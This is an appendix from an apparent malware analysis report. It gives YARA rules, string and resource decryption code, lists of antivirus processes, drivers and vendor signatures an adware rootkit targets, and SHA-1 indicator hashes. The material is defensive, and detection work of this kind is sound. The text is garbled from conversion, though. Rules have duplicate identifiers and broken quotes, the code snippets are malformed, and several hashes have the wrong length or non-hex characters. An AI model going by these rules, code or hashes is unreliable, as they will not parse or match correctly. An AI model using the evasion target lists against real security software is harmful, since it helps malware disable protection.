    $c3 = "a.exe" fullword wide

    $d0 = "msidntld32.zip" wide
    $d1 = "msidntld64.zip" wide

```

```
$d2 = "radardt32.zip" wide
$d3 = "radardt64.zip" wide
$d4 = "netfilter3_x86_xp.zip" wide
$d5 = "netfilter3_x64_xp.zip" wide
$d6 = "netfilter3_x86_win7.zip" wide
$d7 = "netfilter3_x64_win7.zip" wide
$d8 = "netfilter3_x86_win8.zip" wide
$d9 = "netfilter3_x64_win8.zip" wide
$d10 = "udisk.zip" wide
$d11 = "udisk32.zip" wide

$d12 = "atad.7niw_46x_3retliften" ascii
$d13 = "atad.7niw_68x_3retliften" ascii
$d14 = "atad.pxniw_46x_3retliften" ascii
$d15 = "atad.pxniw_68x_3retliften" ascii
$d16 = "atad.8niw_46x_3retliften" ascii
$d17 = "atad.8niw_68x_3retliften" ascii
$d18 = "atad.23tdadar" ascii
$d19 = "atad.46tdadar" ascii
$d20 = "atad.ksidu" ascii
$d21 = "atad.23ksidu" ascii

$d22 = "ndistpr64.sys" ascii
$d23 = "tprdpw64.exe" ascii
$d24 = "ct2.exe" ascii
$d25 = "ct.exe" ascii
$d26 = "msisasrv.sys" ascii
$d27 = "msidntld.exe" ascii
$d28 = "report" ascii

$d29 = "msidntld32.zip" ascii
$d30 = "msidntld64.zip" ascii
$d31 = "radardt32.zip" ascii
$d32 = "radardt64.zip" ascii
$d33 = "netfilter3_x86_xp.zip" ascii
$d34 = "netfilter3_x64_xp.zip" ascii
$d35 = "netfilter3_x86_win7.zip" ascii
$d36 = "netfilter3_x64_win7.zip" ascii
$d37 = "netfilter3_x86_win8.zip" ascii
```

```

$d38 = "netfilter3_x64_win8.zip" ascii
$d39 = "udisk.zip" ascii
$d40 = "udisk32.zip" ascii

$d41 = "msidntld32.data" ascii
$d42 = "msidntld64.data" ascii
$d43 = "radardt32.data" ascii
$d44 = "radardt64.data" ascii
$d45 = "netfilter3_x86_xp.data" ascii
$d46 = "netfilter3_x64_xp.data" ascii
$d47 = "netfilter3_x86_win7.data" ascii
$d48 = "netfilter3_x64_win7.data" ascii
$d49 = "netfilter3_x86_win8.data" ascii
$d50 = "netfilter3_x64_win8.data" ascii
$d51 = "udisk.data" ascii
$d52 = "udisk32.data" ascii
$d53 = "ndistpr64.data" ascii
$d54 = "tprdpw64.data" ascii
$d55 = "ct2.data" ascii
$d56 = "ct.data" ascii

$d57 = "atad.23dltdism" ascii
$d58 = "atad.46dltdism" ascii
$d59 = "atad.2tc" ascii
$d60 = "atad.px_46x_3retliften" ascii
$d61 = "atad.px_68x_3retliften" ascii

condition:
  2 of ($c*) and 2 of ($d*) or 4 of ($d*)
}

```

```

rule s5_new_exe
{
  strings:
    $d0 = "bottom1.avi" fullword wide
    $d1 = "bottom4.avi" fullword wide
    $d2 = "bottom5.avi" fullword wide
    $d3 = "bar1.avi" fullword wide
    $d4 = "bar2.avi" fullword wide
}

```

```
$d5 = „top1.avi” fullword wide
$d6 = „top2.avi” fullword wide
$d7 = „ilogol.avi” wide
$d8 = „ilogo2.avi” wide

condition:
all of them

}

rule old_s5_unknown_exe
{
strings:
$d0 = „I'm going to start the program” fullword wide
$d1 = „Warning” fullword wide
$d2 = „Click to start the program” fullword wide
$d3 = „Starting” fullword wide
$d4 = „Starting upgrade” fullword wide

condition:
all of them

}

rule s5mark_install_exe
{
strings:
$d0 = „S5mark.lnk” fullword wide
$d1 = „s5.lnk” fullword wide
$d2 = „\\S5mark.exe” fullword wide
$d3 = „S5mark.exe” ascii
$d4 = „s5mark_install.pdb” nocase ascii

$e0 = „Software” fullword wide
$e1 = „Classes” fullword wide
$e2 = „Module” fullword wide
$e3 = „Module_Raw” fullword wide
$e4 = „REGISTRY” fullword wide
$e5 = „APPID” fullword wide
$e6 = „Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\” fullword wide
$e7 = „DisplayIcon” fullword wide
$e8 = „UninstallString” fullword wide
$e9 = „DisplayName” fullword wide
```

```
condition:  
    3 of ($d*) or 1 of ($d*) and all of ($e*)  
}  
  
rule s5mark_uninstall_exe  
{  
    strings:  
        $d0 = „s5.lnk” fullword wide  
        $d1 = „Are you sure to remove s5mark” wide  
        $d2 = „Successed to remove s5mark” wide  
        $pdb = „s5mark_unit.pdb” nocase ascii  
    condition:  
        3 of them  
}  
  
rule s5mark_panel_exe  
{  
    strings:  
        $pdb = „s5mark_panel.pdb” nocase ascii  
    condition:  
        1 of them  
}  
  
rule mgr_toolbar_old  
{  
    strings:  
        $pdb0 = „work\\http-download\\“ ascii  
  
        $c0 = „ForceRemove” fullword wide  
        $c1 = „NoRemove” fullword wide  
        $c3 = „NetworkHostSrv” fullword wide  
        $c4 = „NetworkHostSvc” fullword wide  
  
        $url0 = „tracking.yeehbuy.com” ascii  
        $url1 = „tracking.photoyee.com” ascii  
        $url2 = „tracking.weiboniu.com” ascii  
        $url3 = „tracking.downloadyee.com” ascii  
        $url4 = „tracking.downloadyeah.com” ascii  
        $url5 = „tracking.imobitracking.net” ascii
```

```

$url6 = "%d/updaterinfo.bin" wide

$d0 = "updateSvcInfo" ascii
$d1 = "protecttime" ascii
$d1 = "netprotectcount" ascii
$d1 = "protectedSvcInfo" ascii

$e0 = "svcDesc" fullword ascii
$e1 = "infoName" fullword ascii
$e2 = "taskDirName" fullword ascii
$e3 = "upDirName" fullword ascii
$e4 = "BName" fullword ascii
$e5 = "AName" fullword ascii
$e6 = "taskUri" fullword ascii

$mutex0 = "9CD865CA-C319-4BF9-8577-EA6EC7F36AE7" wide

condition:
  1 of ($mutex*) or (2 of ($c*) and (1 of ($pdb*) or 1 of ($url*) or all of ($d*)) or all of ($e*))
}

rule mgr_downloader
{
  strings:
    $pdb0 = "\\download_mgr\\\" ascii
    $pdb2 = "Release\\toolbar_setup.pdb" ascii
    $pdb3 = "\\download_mgr_photoyee\\\" ascii
    $pdb4 = "Release\\tb_setup_zip.pdb" ascii
    $pdb5 = "::\\downloader\\download_mgr" ascii

    $mutex0 = "{E9B7658F-E588-4819-9A6E-44DB5590982A}" fullword wide

    $c0 = "ad.downloadyee.com" wide
    $c1 = "www.trackfiledownload.com" wide
    $c2 = "www.yeehbuy.com" wide
    $c3 = "/entry/feedbackinfo/" wide
    $c4 = "/entry/svc/tbsetup/" wide
    $c5 = "/entry/infomgr/svc/" wide
    $c6 = "download.dat" fullword ascii
}

```

```

$g0 = "ForceRemove" fullword wide
$g1 = "NoRemove" fullword wide

$h0 = "postkey" fullword ascii
$h1 = "softinfo" fullword ascii
$h2 = "ratio" fullword ascii
$h3 = "url" fullword ascii
$h4 = "exename" fullword ascii
$h5 = "cmd" fullword ascii
$h6 = "foldertype" fullword ascii
$h7 = "download.dat" fullword wide
$h8 = "toolbar" fullword ascii
$h9 = "name" fullword ascii
$h10 = "desc" fullword ascii
$h11 = "eula" fullword ascii
$h12 = "registry" fullword ascii
$h13 = "uniqkey" fullword ascii
$h14 = "linkTitle" fullword ascii

$io = "ldtmp.dat" fullword wide

condition:
$mutex0 or 1 of ($pdb*) or 2 of ($c*) or (all of ($g*) and (8 of ($h*) or all of ($i*)))
}

rule bypass_exe
{
    strings:
        $c0 = "\\Bypass" fullword wide
        $c1 = "\\guid.log" fullword wide

        $d0 = "c:\\log.txt" ascii
        $e0 = "ctfmon.zip" ascii

condition:
    all of ($c*) and #d0 == 0 or $e0
}

```

```
rule splsrv_exe
{
    strings:
        $c0 = "splsrv" ascii
        $c1 = "splsrv" wide
        $d0 = "openssl.org" ascii

        $e0 = "-interval" fullword ascii
        $e1 = "-version" fullword ascii
        $e1 = "-ip" fullword ascii

        $mutex = "Global\\splsrv" ascii
    condition:
        1 of ($c*) and all of ($d*) and 1 of ($e*) or $mutex
}
```

```
rule svcvmx_exe
{
    strings:
        $c0 = "srcvmx_desktop" wide
    condition:
        1 of them
}
```

```
rule winscr_exe
{
    strings:
        $c0 = "WebTWAINService.exe" fullword ascii
        $c1 = "YCMMirage.exe" fullword ascii
        $c2 = "Battle.net" fullword ascii

        $d0 = "Release\\Screen.pdb" ascii

        $e0 = "Screen.exe" ascii
        $e1 = "crypto" ascii
        $e2 = "QObject" ascii

        $f0 = "http://www.gpt9.com/api/qzmd" ascii
        $f1 = "http://www.gpt9.com/api/qzki" ascii
}
```

```

$f2 = „http://www.gpt9.com/api/eflt“ ascii
$f3 = „http://www.gpt9.com/api/efls“ ascii
$f4 = „http://www.gpt9.com/api/lt?“ ascii
$f5 = „http://www.gpt9.com/api/efup“ ascii

condition:
  1 of ($c*) or 1 of ($d*) or all of ($e*) or 4 of ($f*)
}

rule vxmclient_exe
{
  strings:
    $c0 = „Release\\winltc.exe.pdb“ ascii
  condition:
    1 of ($c*) or pe.exports(„GetHandleVerifier“)
}

rule report
{
  strings:
    $c0 = { 68 74 74 70 [1-6] 3A 2F 2F 77 [1-6] 77 77 2E 74 [1-6] 74 66 6C 62 [1-6] 2E 63 6F 6D
[1-6] 2F 72 65 70 [1-6] 6F 72 74 3F [1-6] 73 3D 25 64 [1-6] 26 72 65 3D [1-6] 25 64 }

    $d0 = { 69 00 73 00 [1-6] 61 00 73 00 [1-6] 72 00 76 00 [1-6] 2E 00 73 00 [1-6] 79 00 73 00
}
    $d1 = { 69 00 64 00 [1-6] 6E 00 74 00 [1-6] 6C 00 64 00 [1-6] 2E 00 65 00 [1-6] 78 00 65 00
}
    $d2 = { 63 00 74 00 [1-6] 2E 00 65 00 [1-6] 78 00 65 00 }

    $e0 = { 69 6E 73 74 [3] 61 6C 6C 00}

  condition:
    (1 of ($c*) or all of ($d*)) and 1 of ($e*)
}

rule homepageoptimizer
{
  strings:
    $c0 = „Homepageoptimizer“ wide
    $c1 = „Homepage Url“ wide
    $c2 = „CryptoPP“ ascii
  condition:
}

```

```

    all of them

}

rule uninstall_homepageoptimizer
{
    strings:
        $c0 = "homepageoptimizer.exe" wide
        $c1 = "Uninstall homepageoptimizer" wide
        $c2 = "homepageoptimizer.lnk" wide
    condition:
        all of them
}

rule netfilter
{
    strings:
        $c0 = "netfilter2.sys" wide
        $c1 = "NetFilterSDK.com" fullword wide
        $c2 = "\\projects\\projectsJ\\\" ascii
    condition:
        2 of them
}

```

### String decryption

```

def decrypt_string(mystr):
    hex_data = [ord(c) for c in mystr]

    edx = 0
    index = 0
    max_index = len(hex_data)

    xlat = "a_qTwBHWKFDMkiUmIelJ8yhjb0f4zQO9SxuXAVZ372ELrtG6vCNds5poYn1cgPR-/?:"
    xlat_hex_data = [ord(c) for c in xlat]

    new_data = []

    while index < max_index:
        ecx = 0

```

```

edx = hex_data[index]

for x in xlat_hex_data:
    if x == edx:
        break

    ecx += 1

    if ecx >= 0x43:
        break

    ecx += 0x40
    eax = 0x7A44C6B
    edx = (eax * ecx) >> 4*8
    edx = (edx >> 1) * 0x43
    ecx = ecx - edx

    d = xlat_hex_data[ecx]
    new_data.append(d)
    index += 1

d = [chr(c) for c in new_data]
return ''.join(d)

```

### Resource decryption

```

def decrypt(data, key):
    new_data = ''
    for x in data:
        new_data += chr(ord(x) ^ key)
    return new_data

data = ''
key = 0
print(decrypt(data.decode('hex'), key))

```

### DES decryption

```

from Crypto.Cipher import DES
obj = DES.new(improxy8', DES.MODE_ECB)
data = ''
print(obj.decrypt(request.decode('hex')))

```

### Appendix 3: More information

Antimalware processes targeted by this malware	
Antimalware	Process name
Ad-Aware	AdAwareDesktop
	AdAwareService
	AdAwareTray
Avast	avastsvc
AVG	avgnt
	avgrsx
	avgsvcx
	avguard
	avguard
	avguix
Avira	Avira.ServiceHost
	avshadow
Bitdefender	bdagent
BullGuard	bullguard
Comodo	cis
	CisTray
Dr. Web	dwarkdaemon
	dwengine
	spideragent
Emisoft	a2service
	a2start
Eset	egui
	ekrn
Fortinet	FortiClientVirusCleaner
F-Prot	FPAVServer
	FprotTray
F-Secure	fsgk32
G-Data	gdscan
Ikarus	guardxkickoff
	guardxservice
	guardxservice_x64
Immunet	sfc
	iptray
K7	K7SysMon
	K7TSecurity
	K7TSMain
Kaspersky	avp

	mbam
Malwarebytes	mbamservice
	mbamtray
MCShield	mcschild
Microsoft Security Essentials	msseces
Nano Antivirus	nanoav
	nanosvc
Norman	Norman_Malware_Cleaner
Norton	navapsvc
	ns
Panda	PSUAMain
	PSUAService
Quick Heal	OPSSVC
	QUHLPSVC
Sophos	SDRService
	SntpService
	Sophos UI
SUPERAntiSpyware	SASCore
	SUPERAntiSpyware
Trend-Micro	pccntmon
Twister Antivirus	twister
	twssrv
Vba32	vba32ldr
Vipre	sbamtray

## Antimalware drivers targeted by this malware

Antimalware	Driver name
Avast	\ASWMONFLT.SYS
	\ASWSP.SYS
AVG	\ASWNTFLT.SYS
	\AVGMONFLT.SYS
Bitdefender	\AVGNTFLT.SYS
	\AVGSP.SYS
Bitdefender	\ATC.SYS
	\GZFLT.SYS
	\TRUFOS.SYS
HitmanPro	\HITMANPRO
Kaspersky	\KLBACKUPFLT.SYS
Kingsoft	\KNBDRV.SYS
KLIF	\KLIF.SYS

	\MBAM.SYS
Malwarebytes	\MBAMSWISSARMY.SYS
	\MWAC.SYS
	\SRTSP64.SYS
Norton	\SYMEFASI64.SYS
	\SYMEVENT64X86.SYS
	\SYMNETS.SYS
Panda	\NNSPIHSHW.SYS
	\PANDA_URL_FILTERINGD.SYS
	\PSINFILE.SYS
	\BAPIDRV64.SYS
Qihoo360	\DSARK64.SYS
	\EPP64.SYS
Windows Defender	\WDFILTER.SYS
Zemana	\ZAM64.SYS

<b>Browser processes targeted by this malware</b>	
<b>Browser name</b>	<b>Process name</b>
	\FLYIE.EXE
	\ROAMB.EXE
	\CELL.EXE
	\CYIE.EXE
	\PILUO.EXE
	\CHEERBROWSER.EXE
	\WEBSTRIP.EXE
	\SCHEDULER.EXE
	\BARSMEDIA.EXE
	\LANGUANG.EXE
	\BROWSER.EXE
	\JX.EXE
	\CAIMAO.EXE
	\SE.EXE
	\HUAER.EXE
	\WEBGAMEGT.EXE

	\FTBR.EXE
	\RUIYING.EXE
	\KCHROME.EXE
	\CHGREENBROWSER.EXE
	\DUOPING.EXE
	\07073GE.EXE
	\114IE.EXE
2291 Browser	\2291BROWSER.EXE
2345	\2345EXPLORER.EXE
2345chrome	\2345CHROME.EXE
360 Browser	\360CHROME.EXE
	\360SE.EXE
8UExplorer Web Browser	\8UEXPLORER.EXE
Acoo Browser	\ACOOBROWSER.EXE
AirView Spectrum Analyzer	\AIRVIEW.EXE
Avant Browser	\ZBROWSER.EXE
Avant Browser	\AVANT.EXE
Baidu	\BAIDUBROWSER.EXE
BitComet Resource Browser	\COMETBROWSER.EXE
	\VU.EXE
	\CAIYUN.EXE
Chrome	\CHROME.EXE
Comodo Dragon Internet Browser	\DRAGON.EXE
	\CORAL.EXE
Crazy Browser	\CRAZY BROWSER.EXE
	\DYBROWSER.EXE
Firefox	\FIREFOX.EXE
	\SBFRAME.EXE
Gameclub	\AEGIS.EXE
GamesBrowser	\GAMESBROWSER.EXE
GeSearch	\GESEARCH.EXE
GoSURF	\GOSURF.EXE
GreenBrowser	\GREENBROWSER.EXE
	\HXBROWSER.EXE
Internet Explorer	\IEXPLORE.EXE
iQ Web Browser	\MYIQ.EXE

	\JSY.EXE
Juzi	\JUZI.EXE
jwBrowser	\JWBROWSER.EXE
Kinoroom Browser	\KRBROWSER.EXE
Liebao	\LIEBAO.EXE
Luna / LunaShop / Luna Anticheat ???	\LUNA.EXE
Maxthon	\MAXTHON.EXE
Microsoft Edge	\MICROSOFTEDGECP.EXE
Microsoft Edge	\MICROSOFTEDGE.EXE
	\MINII_2.EXE
MyIE9	\MYIE9.EXE
Netscape	\NETSCAPE.EXE
Opera	\OPERA\LAUNCHER.EXE
Opera	\OPERA.EXE
Packard Bell Browser	\PBBROWSER.EXE
Pale Moon Web Browser	\PALEMOON.EXE
QtWeb Internet Browser	\QTWEB.EXE
Rising Browser Application	\RSBROWSER.EXE
S3 Browser	\S3BROWSER-WIN32.EXE
SaaYaa	\SAAYAA.EXE
Safari	\SAFARI.EXE
SeaMonkey	\SEAMONKEY.EXE
Seemao	\SEEMAO.EXE
SogouExplorer	\SOGOUEXPLORER.EXE
SRWare Iron	\IRON.EXE
	\SRIE.EXE
Tango	\TANGO3.EXE
Taobrowser	\TAOBROWSER.EXE
Taomee Browser	\TAOMEEBROWSER.EXE
Tencent QQ	\QQBROWSER.EXE
Tencent Traveler	\TTRAVELER.EXE
Tencent WeChat	\WECHATWEB.EXE
TFYBrowser Web Browser	\TFYBROWSER.EXE
TheWorld	\THE WORLD .EXE
TheWorld	\THEWORLD.EXE
TheWorld Chrome	\TWCHROME.EXE
UC Browser	\UCBROWSER.EXE
Xbrowser	\XBROWSER.EXE
	\XTTBROWSER.EXE



Xplorer	\XPLORER.EXE
YY Explorer	\YYEXPLORER.EXE
AliBrowser	\ALIBROWSER.EXE

<b>Digital signatures targeted by rootkit</b>	
<b>Product</b>	<b>Digital signature</b>
Adlice	Adlice
Auslogics	Auslogics Labs Pty Ltd
Avast	AVAST Software a.s. AVAST Software s.r.o.
AVG	AVG Technologies CZ, s.r.o.
Avira	Avira Operations GmbH & Co.KG
Kingsoft Security	Beijing Kingsoft Security software Co., Ltd
Beijing Rising Information Technology	Beijing Rising Information Technology Corporation Limited
Bitdefender	Bitdefender SRL
Bleeping Computer	Bleeping Computer, LLC.
Blue Coat Norway AS	Blue Coat Norway AS
BrightFort	BrightFort LLC
BullGuard	BullGuard Ltd BullGuard Ltd.
Byte Technologies	Byte Technologies LLC
Check Point Software Technologies	Check Point Software Technologies Ltd.
Comodo Security	Comodo Security Solutions
Computer Associates International	Computer Associates International
Datpol Janusz Siemienowicz	Datpol Janusz Siemienowicz
Doctor Web	Doctor Web Ltd.
Emsisoft	Emsisoft GmbH Emsisoft Ltd
Enigma Software	Enigma Software Group USA, LLC
ESET	ESET, spol.s r.o.
Filseclab Corporation	Filseclab Corporation
Fortinet Technologies	Fortinet Technologies
FRISK Software	FRISK Software International
G DATA	G DATA Software AG
Glarysoft	Glarysoft LTD
Gridinsoft	Gridinsoft, LLC
HuoRongBoRui (Beijing) Technology	HuoRongBoRui (Beijing) Technology Co.,Ltd
IKARUS Security Software	IKARUS Security Software GmbH
Immunet Corporation	Immunet Corporation
IObit Information Technology	IObit Information Technology
K7 Computing	K7 Computing Pvt Ltd



Kaspersky	Kaspersky Lab
Lavasoft	Lavasoft Limited
Lenovo	Lenovo
Malwarebytes Corporation	Malwarebytes Corporation
McAfee	McAfee, Inc.
NANO Security	NANO Security Ltd
Panda Security	Panda Security S.L
Piriform	Piriform Ltd
Plumbytes Software	Plumbytes Software Lp
Qihoo 360 Software(Beijing) Company	Qihoo 360 Software(Beijing) Company Limited
Quick Heal Technologies	Quick Heal Technologies(Pvt) Ltd.
Safer Networking	Safer Networking Ltd.
Sophos	Sophos Ltd
SUPERAntiSpyware	SUPERAntiSpyware.com
SurfRight	SurfRight B.V.
System Healer Tech	System Healer Tech Sp.Zo.o.
ThreatTrack Security	ThreatTrack Security, Inc.
Trend Micro	Trend Micro, Inc.
VIRUSBLOKADA	VIRUSBLOKADA ODO
Zemana	Zemana Ltd.

#### Appendix 4: File Hashes

##### Bypass UAC

bea4957714266bfbfe481189d8623b37b4c4ecc1	aaf10b4c1b3c85c4e84ce16def15c428d648ee00	00c2f582016d4a2d2ff6798ba281f3947d62cf81
5cfdb8e9af0dce1d3a73c5f4ca70230f6988d8fa	d0d61d541e2104e9761dc69fd5ca845d1105e777	2ab5e8f9f7eadf71add5e8840824fc7104ae26de
9eebeb60812e64fe74dcf2bb9779cb0b71d19d28	68a0208ea12250dea5689eedbe1fa4f1d967b7c6	b5f9b4e4275ff9201ba433bf4bbec402cbc67c6f
bb8c7571524bf29739f14e1e2597d016e867e8be	252ebce33995211cffc330a572f336848affcdce	490f2818d6fb14599828be62bc4b2f3aebc8ed1c
b124d11fda214467c1678335c9f5ef7c5e158b45	50ce0518d7ac70328bf11bd27e984f1991ec56ae	fd719f67bd121780c910b5e557dcd242fb327133
e1a2f64087bb181f26ed7ff982551713b7e198a8	b61091b759702c97f18240b393b31b328501e8a8	0e8932e616a9f4bd418caf02de41351ab9af272c
13d54571fa76eb1b9cd97959329c63d8f69c29dc	eb5f71f0746e111fc74e64ad4e754ca1d876d90e	e87df0917ca4f0ee44f49ecfcea9f65c3d307d5b
	d4f0c85ccb120db0a8c4b9c57c9d652374e07107	bea0cd11f63c523abf62d980a2de857369738f3c

## Earlier Payload

400475991ecb3c5a314bd318d1b5355a8d7961ff	0227ce7e45aa612f29f786dd71161c536f600126	2bea8ee9e0a3e7785f4cbf048595ce2ea88cf8b1
2021f2b3b28c628920415b2bd139873deac9d925	3c8ba8ef12f8e756a60c7ab749e21eee6e1577f1	1eb22698c95202f79158f163026bdf7b33474aa3
8c8c3bc2f545f709e5e9e81275fe012950de210d	7be97ac27d08da41dd39e80c9229677a8b5e5077	646fb17af87e6faf1815efee412c26d8e44f93a
cffde644597babbb96546492c81e8fb84c806b2de	8cccd99cb9dfbbaf825a42b75e075ff8f3191ef0	08b07a27bba11bb51e571d77a1adb7f2a6ddb84
01fed876d81ae8e1f0352ba81761ebf951af657d	63cb4e4cae28e2c8f92b6c08a2191ce3f6ee3ee	4d220a54c7da68b5e2bb777d0143a467bdec7e42
4af4e3792ec52f951b1879ed5deb9fb61908365	9d31541155bc314c948aee0cd681cdf036db0c47	6719270260733d6f42b8b2088527646c4c27ff12
2cdf93f28c2310d33138e324cac387fab3819fa7	cc51b40a659829052a381e09ed7d830cb96eda5	e3c0e0635d98ce14c1668cdf211c253306f3759f
84f2ad2fbe41f9e938f9592372b9e781063cf3cd	a21fa3a2df5766de8aa71d6857e72566e97d42a7	479b7983968db8beb813600f0a779aa9d2ba5cb
4793630fe9adc5e080761483f75fe33e010104fa	82d66ed9f68fa859c03e2b41d4ea130bc2e51315	6d174bd6a61d564561335f61ad15065ccc8f3e4d
d43e3f496c201689029304c5683cbfc523f69632	02b98dd502dde65d32e15f1ba0ef385abfe02a63	68ae4672d314aef730143f0ebd8efe2a17127078
d6fc19c59ebd566ea3d1b761b06aca54e107b99a	016198871a322eff6d8bd911c50ad02505a7deed	e8127c2ed70849fa5369fcc247b46b3e0a51de3d
61ba641ecf3a4fae485ed62219b2f4946bea532a	af6649b2324040d7bcb2bcccf8ba441d4d3a5b83	d4becf9a12b5b7f7f4ed9727771a675e28bcf962
32b19d2d9cc8a7c6faa312865f8ee0f2b39b64cd	c7231a996b60d9c98510f9cfa6436d33a31b11df	c0486576fa602d189e69a8a67bf34d95068c96fb
ccb63a5bee084a291fc45904d125d50c2c5592b	9c21d2a3c2a06d056b3bc0a3c82cae8b7cf3485d	3eb581fa4a70b3ae43f8e93a4ec188f872e62a0a
93837788ce8180179faacla76553dbc6fb60869	98515bd53e339356e931e3cc1ca0b08b63f436e8	ee4611bf983fc134570d1613c7033c6a42fa5b0b
9c2b0c6c84a9259a95087686e742a96b5b0b33a2	b342304677b8c5a8fcdb343b9fc26e1a1ad612b6	1de4a0825182e095a9c66a82479a8ffd7ee840e5

## Updater

d48fb2b8567a48e8a1974ccf7701a41e6ee922e	f6e60cb12ab7d61e0218ace7c6e33d8dfb56067c	a0bda40811e5421a543fd35d2f9d8c41643e18e2
7fe22d77b8a4806bb93e1c6d1c9a4d84ef3ef5f6	cbf052b7ebcbe7108a14a520f519ad628ffd2c69	4207c3da0a0b18e622681b9a379d5bd1f34df1f2
2f600e1a9b9015eae5322d1d1d35fecb8b3b87d9	738db84b54c6379dcf1c689cf13ab9d444260310	f1f18ad14d4ebe08218cf1545b1f65487ed4eb74
b2dd2beb820e4072089a3672492e4b63449e2ff	d2d94d586cb0c47cde5f4b3594f6bfa62f17171b	d31bfc923d9e3b5bd7c7c657ded0337748986136
69473d0079173631acc5fd47f377224c7859d4c5	eee720d364254d1ef8e499209975128125fd79e7	6532965684a587e275df801f329fc1b41cb412b4
496ce703d341ed0229c8031776f6726a45d375e3	528a8c2bb60d09e3dc1e81d4a6b3c9d302b0701	0d00ef158d96698a923667e59e99739e019fb445
2e4c7ec62a327bdb171fee62decdf87868c962c9	923731222a868376ceadc62bac91e05b50555d5e	ee9630597d11a4cb9da903885d0b7ca930c70084
		e7e081bbcbdf05bcb1483051301f2315d44b78ae

## Service Component

692aee2d53e80ba3b401e42a22dee851d9282161	3beb2df09db314091ed2f51ce8295a32d4181992	893e96bfe56980a46a8cae233f9f8a2952806b85
	229fde226eadbe717bd48c6fe2e827a9ee569ab5	87991d0837322d3269cba2f01c6846b688a0ee46

## LUA Interpreter

c7abe781b6f01eb458c52670aaec140c746a118c	8d61f971a181d52139ca9163edba0ec2cea10b80	a5820dc0839ed4e08070c14650372e83bd6ae413
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## Homepage

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## Main Downloader (old version)

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## Main Downloader

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## AV Info Service

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## Rootkit

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## Report

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## Setup Dropper

1e02768f5b2038c94e84259a7b2259cebe96625c	273dd734ccf3d74ec61c20f15e37e63a97faf304	c071234ae86d174a2865a61d2eff97aa4cde5d2a
7db2569f2adc39c8f6cf1514f27293b1e437a0f9	13a16ed4f8f2987f641786085011b54cd3f93377	65fcebae35f5ea6cc5a6ebf3e0abf54eb889f2fd
ec1343e679a76e440cdf379d7e2876fa403e7815	f80e1bf11c80893bba13f067abdebcc16fead36	7172224a156259e9381a6f59a6ab7dc47db59d6f
4d24227a4b798f384b343df1e0c979cb4abcf5bc	22fb73f15572cd7c925cbec74e58528f8f3bdd9c	21341b2cc34c346feac24f48242b4adcca864d13
6a1660da89809f97cf78cd80b7d404148a200169	160d03d9eb67f76f91418df713a66e38c03d5281	479f64163ce800b5ab7a274fd44cef03abcaf55
644a368a0fe1c0d35e6714d631498bdd3dcf66cc	6171999d53383c2f81ec2e990523ee868e255bc4	d40aad513e244b1559266697e6f8506112099f00
3def69c7452e14afc7be835a9d0a8fda4e9b802a	4c9373965a60cb2e2d0a1e31fa4c6acdd7887b48	5f3759eda090beda6ac290926ca9f3be1afbb14e
cf71a08f6bb2bf08025f9c58d6edf01f972c14e6	83dc943dcbfde9163faaf9f3253839cd336cf54	6e93127a43b2f74c39f7857372a3c9eb8328bb2b
78b756343925bcd30c1d4ec1d65950b78132f8a2	169d541d7d19c08dad5966773b56ac3de45b9d07	5637202c9c3b58793ab22fa4454c6fdf4b532b55
97409c79709654dae6b060342ffad17f3de637d3	4fcc220a173d38d007ce72c009ce612b519cdfcb	23718b682a5326995e78a95801b2ba165bc9315b
bc86f8066c26af979bc0cae894282441e405d8ab	615972fa63aae2c446b0b4ad91b2290579d08f15	9fdb48c60a14f4cbaf02cda6246ef1d47ea8ca72
ea14f21d2acc5fd9c20ca846065e57c8b8441895	bb93369c16a1e63a5db04b17b76f80e4e954e0d5	a4e06ecf41ec125ba7720ece69ca1fd3816eec3e
0430ec00189070270b3b14941e99cba7cfbae146	f041192e47c6fb5804e60b28b8f955954c8c9a9a	8b04990748e71967ca039e4a4cbac60a8b61b40b
53d970c01a574bca1e176c436cf13ec09f86ba67	a2abcb0e81bb9f0fdf3eb7cab9ad917a1ed3b5bf	ad1e7e5d6fa92aeadb13cef4727ed18cef90c33
296cf2383cea29ec8c0bec1131f55bde877b0b51	0ee6be1c6da900d7e8ab4a3c8fd17370c9cef9a	129a2468dc3431e713e9bcf47161c3381d0b8477
0de2690c9fb09b022ce86d1a90e1e2914edf8b9	f96b82f516fd8b9a0e152bceaa98a98b62c2afa1	4a2d06d0ba750f2b885a4b7e8d4bcd8bdc7592a
45c25a64f7f4dc57b08e0e53e607b03ac8769f0d	975cbd180e8dd835e55b1f47ac049bdb8aa1df65	1bcec5ec665011c2073d3c29045e3c748a10db2f
f8299e07b3295fa919d88c1a5e385313a34ac354	d04c5e97ff0a04d0a97d4a9ce382d41a3d071a41	9676ab212350f3c3294d437444265428cf4bb480
c001ac100f09b855d96db58b547724ad722903a4	6e2279a32ebbd6768b55824094d8ba095e04df14	71787d453b30948dc0916a2965d73aa4d9419fc5
317e09b03f31db8d80fd4cc13f50423369bfe4a5	202c35624dalb661d06f2c769e113156bfc7941b	06a6e10aad22ba3324e6c88804804171eae3ae48
83e74aea86bbc9117f592febcd0909702d677a2f	d4b4182d68bb0df77280c558a3e9fd4412a0fc63	a4e75cad33320c3c1786b92d446133f52126f6f9
11575c57b57b7b5495c57a70f5c4a98d4a612440	665d82ecdf8c8053d7d4fce5882b36a6f5a0bb6	e4dae68e0152f23417c826158e990ef8edf1c2ea
9e72cb2a425c0a82f6a651d21c0acc0b0dac62a9	df49e013266d29b5a7f0f5e9eb8db7e107fd4243	78ad0c822862e748031d10ceefb9445fa645b3f9
133c0ad9aa30640a2910ca831aa5e05ead78c927	0e1c2438c1ae74be1b75583901a60ed76529d41b	95eb8e2a6ee4377bf64e29a217f580ccbce90fc8
36d96e53a75e736ea1a7968bb742889993ea007	76e17c695d3f9b09eb243eafdf8308f03c40c8cc	ebfe511le11a4de2123a94da9b7427ba6cc5b998
d49c7d6f4dd0de8e0c6f410f63538cdb68d417dc	2148219c2b7f196d04650b81033d63fc168074fd	e5cbf51640200b45cf8a15f27e5b3fa68c28febe
50c42b87c0f6e678c5292e8eac701359c5ab5802	29a283d96598e57bdd9b62b08fadea0edf8d6e74	223f46d07044aafebad79644eaf19f3fd30cc8b
fca6c40f797335bdfc4d8cf026bc998326acf32	6d7387131f7b5e6a704b881e134553e8c2d472a5	c0237c21049623b92b75f8262489cd1b9c8f4e38
87fe93595952708f24b5ada17ca51a96649a72fa	7a24bfe8116afd06defd482198f9381101284d4c	d769b33f8620a87c189674732d2fd56a195aad02
35c71faed07d39cece971410b93eb8a29be341c6	bd4fd3f95e74aa7dbf952a28029a62b062c72bf9	b871f6f4c687ef2e03f0f699e520a7a00f0870f2
